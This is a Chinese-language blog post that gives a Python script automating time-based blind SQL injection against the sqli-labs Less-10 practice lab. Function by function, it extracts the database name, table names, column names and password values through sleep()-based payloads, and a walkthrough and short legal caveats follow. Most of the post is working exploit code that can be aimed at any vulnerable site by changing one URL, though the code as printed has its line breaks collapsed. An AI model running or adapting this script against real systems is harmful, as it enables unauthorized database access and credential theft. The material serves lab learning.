声明:本文所涉及代码仅供学习使用,任何人利用此造成的一切后果与本人无关
自动化的sql延时注入脚本
源码
import requests
import time
import datetime
url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
#获取数据库长度
def database_len():for i in range(1,10):payload = '?id=1" and if(length(database())>%s,sleep(4),0)--+'%iurl1 = url +payload#print(url1)time1 =datetime.datetime.now()r=requests.get(url=url1)time2=datetime.datetime.now()time3 = (time2-time1).total_seconds() #计算时间差, 忽略天 只看时分秒 total_seconds() 真正的时间差 包含天if time3 >= 4:print(i)else:print(i)breakprint('数据库长度为:',i)#database_len()#获取数据库名
def datebase_name():name=''for i in range(1,9):for j in p1:payload='?id=1" and if(substr(database(),%s,1)="%s",sleep(4),1)--+' %(i,j)url1=url+payload#print(url1)time1=datetime.datetime.now()r=requests.get(url=url1)time2=datetime.datetime.now()time3=(time2-time1).total_seconds()if time3 >= 4:name += jprint(name)breakn = nameprint('数据库名字为:'+n)#datebase_name()#获取表
def tables_name():global table4table1=''table2=''table3=''table4=''for i in range(5):for j in range(1,6):for t in p1:payload='?id=1" and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)="%s"),3,0)) --+'%(i,j,t)url1=url+payload#print(url1)time1=datetime.datetime.now()r=requests.get(url=url1)time2=datetime.datetime.now()time3=(time2-time1).secondsif time3 >= 3:if i == 0:table1 +=tprint('第一个表为:',table1)elif i == 1:table2 += tprint('第二个表为:',table2)elif i == 2:table3 +=tprint('第三个表为:',table3)elif i == 3:table4 += tprint('第四个表为:',table4)else:breakprint('第一个表为'+table1)print('第二个表为'+table2)print('第三个表为' + table3)print('第四个表为' + table4)#tables_name()#获取表中的字段
def table_column():global column3column1=''column2=''column3=''f=table4for i in range(3):for j in range(1,9):for t in p1:payload='?id=1" and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)="%s"),5,0)) --+'%(f,i,j,t)url1 =url+payload#print(url1)time1 = datetime.datetime.now()r = requests.get(url=url1)time2 = datetime.datetime.now()time3 = (time2 - time1).secondsif time3 >= 5:if i == 0:column1 += tprint('字段一为:'+column1)elif i == 1:column2 += tprint('字段二为:'+column2)elif i == 2:column3 += tprint('字段三为:'+column3)else:breakprint('users字段一为:'+column1)print('字段二为:'+column2)print('字段三为:',column3)#table_column()def s_content():content1=''f1= column3f2= table4for i in range(20):for t in p1:payload = '?id=1" and sleep(if((mid((select %s from %s limit 7,1),%s,1)="%s" ),3,0)) --+'%(f1,f2,i,t)url1 =url+payload#print(url1)time1=datetime.datetime.now()r = requests.get(url=url1)time2 = datetime.datetime.now()time3 = (time2-time1).secondsif time3 >=3:content1 += tprint('password字段一内容为:'+content1)breakprint('字段内容为:'+content1)start_time=time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time=time.time()
end_start_time=end_time-start_time
print('总花费时间为',end_start_time,'秒')”
源码详解
这段代码是一个Python脚本,用于通过SQL注入漏洞来探测和提取一个Web应用程序的数据库信息。它使用了requests
库来发送HTTP请求,并使用time
和datetime
库来测量响应时间,从而推断出数据库的结构和内容。
导入库
import requests
import time
import datetime
-
requests
: 用于发送HTTP请求。 -
time
和datetime
: 用于测量时间差。
定义URL
url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
-
目标URL,用于发送SQL注入请求。
定义字符集
p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
-
包含所有可能的字符,用于构造SQL注入的payload。
获取数据库长度
def database_len():# ...
-
通过逐步增加
length(database())
的值,并测量响应时间来确定数据库名称的长度。
获取数据库名
def datebase_name():# ...
-
通过逐个字符地探测数据库名称,并测量响应时间来确定每个字符。
获取表名
def tables_name():# ...
-
通过查询
information_schema.tables
表,并测量响应时间来确定表名。
获取表中的字段
def table_column():# ...
-
通过查询
information_schema.columns
表,并测量响应时间来确定字段名。
获取字段内容
def s_content():# ...
-
通过查询特定表的特定字段,并测量响应时间来确定字段的内容。
主程序
start_time = time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time = time.time()
end_start_time = end_time - start_time
print('总花费时间为', end_start_time, '秒')
-
记录开始时间,依次调用上述函数来获取数据库信息,记录结束时间,并计算总耗时。
注意事项
-
SQL注入风险: 这段代码利用了SQL注入漏洞,实际应用中应避免这种不安全的做法。
-
法律和道德: 在未经授权的情况下进行此类操作是违法的,应确保在合法和授权的环境中使用。
-
代码注释: 代码中有大量被注释掉的
print
语句,这些语句可以帮助调试和理解代码的执行过程。
总结
这段代码通过构造特定的SQL注入payload,并利用时间延迟来逐步揭示数据库的结构和内容。虽然这种方法在安全研究中有一定的价值,但在实际应用中应严格遵守法律法规和道德准则。